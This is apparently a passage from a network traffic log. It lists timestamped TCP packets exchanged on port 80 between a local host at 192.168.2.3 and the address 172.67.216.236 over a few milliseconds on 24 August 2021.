Aug 24, 2021 14:01:50.879452944 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879463911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879482031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879488945 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879498959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879517078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879523993 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879533052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879549980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879566908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879575014 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879582882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879594088 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879602909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879614115 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879621029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879637003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879652977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879652977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879672050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879678965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879688978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879707098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879713058 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879724026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879744053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879761934 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879762888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879780054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879791021 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879796982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879813910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879822016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879829884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879848003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879854918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879863977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879884005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879900932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879909039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879918098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879935026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879944086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879951954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879962921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.879968882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879986048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.879997015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.880002975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.880023003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.880031109 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.880040884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.880058050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.880073071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.880074978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.880091906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.880094051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.880146980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882541895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882575035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882606030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882638931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882664919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882680893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882708073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882713079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882730961 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882731915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882733107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882762909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882795095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882802010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882824898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882832050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882864952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882895947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882905006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.882925987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882956028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882986069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.882992983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883002996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883021116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883028984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883038044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883054972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883060932 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883070946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883091927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883097887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883136988 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883152008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883181095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883208990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883219004 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883246899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883274078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883285046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883301973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883327007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883359909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883385897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883388996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883395910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883402109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883416891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883433104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883440018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883450985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883466959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883475065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883487940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883506060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883514881 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883533001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883547068 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883558989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883584976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883595943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883609056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883635044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883646965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883673906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883701086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883713007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883718014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883754015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883759022 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883785009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883810997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883822918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883836031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883872986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883876085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883903027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883929968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883955002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.883955956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.883980989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884004116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884006023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884037971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884047031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884068966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884099007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884108067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884115934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884135008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884151936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884160995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884174109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884192944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884210110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884210110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884227037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884227991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884246111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884264946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884282112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884299994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884330034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884331942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884336948 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884347916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884360075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884365082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884382963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884392977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884401083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884422064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884438992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884440899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884457111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884469986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884474993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884495974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884500980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884515047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884529114 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884531975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884561062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884582996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884588003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884614944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884629011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884643078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884670019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884682894 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884707928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884736061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884748936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884763002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884788036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884804010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884828091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884856939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884866953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884885073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884916067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884927988 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.884949923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884975910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.884985924 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885003090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885030031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885041952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885061979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885097980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885099888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885128975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885149956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885168076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885169029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885185957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885202885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885210037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885221004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885236979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885256052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885265112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885272026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885292053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885298967 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885309935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885318995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885328054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885344982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885351896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885363102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885380030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885390043 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885397911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885416031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885437012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885447025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885467052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885478020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885504961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885520935 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885521889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885548115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885556936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885574102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885591030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885612965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885617971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885634899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885658979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885662079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885690928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885701895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885710955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885739088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885756016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885756969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885778904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885803938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885811090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885827065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885854959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885855913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885885954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885898113 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885911942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885946989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.885952950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.885972023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886003017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886012077 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886020899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886039972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886055946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886059999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886073112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886092901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886094093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886111975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886127949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886145115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886163950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886178970 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886179924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886198044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886214972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886226892 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886238098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886257887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886275053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886277914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886292934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886310101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886316061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886324883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886343002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886352062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886359930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886379957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886399984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886415958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886415958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886430025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886446953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886456013 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886466980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886487007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886493921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886503935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886523008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886538982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886543989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886555910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886574030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886581898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886590958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886600018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886610985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886630058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886637926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886647940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886666059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886673927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886683941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886701107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886718035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886719942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886735916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886745930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886756897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886775017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886778116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886792898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886812925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886831999 CEST	80	49724	172.67.216.236	192.168.2.3
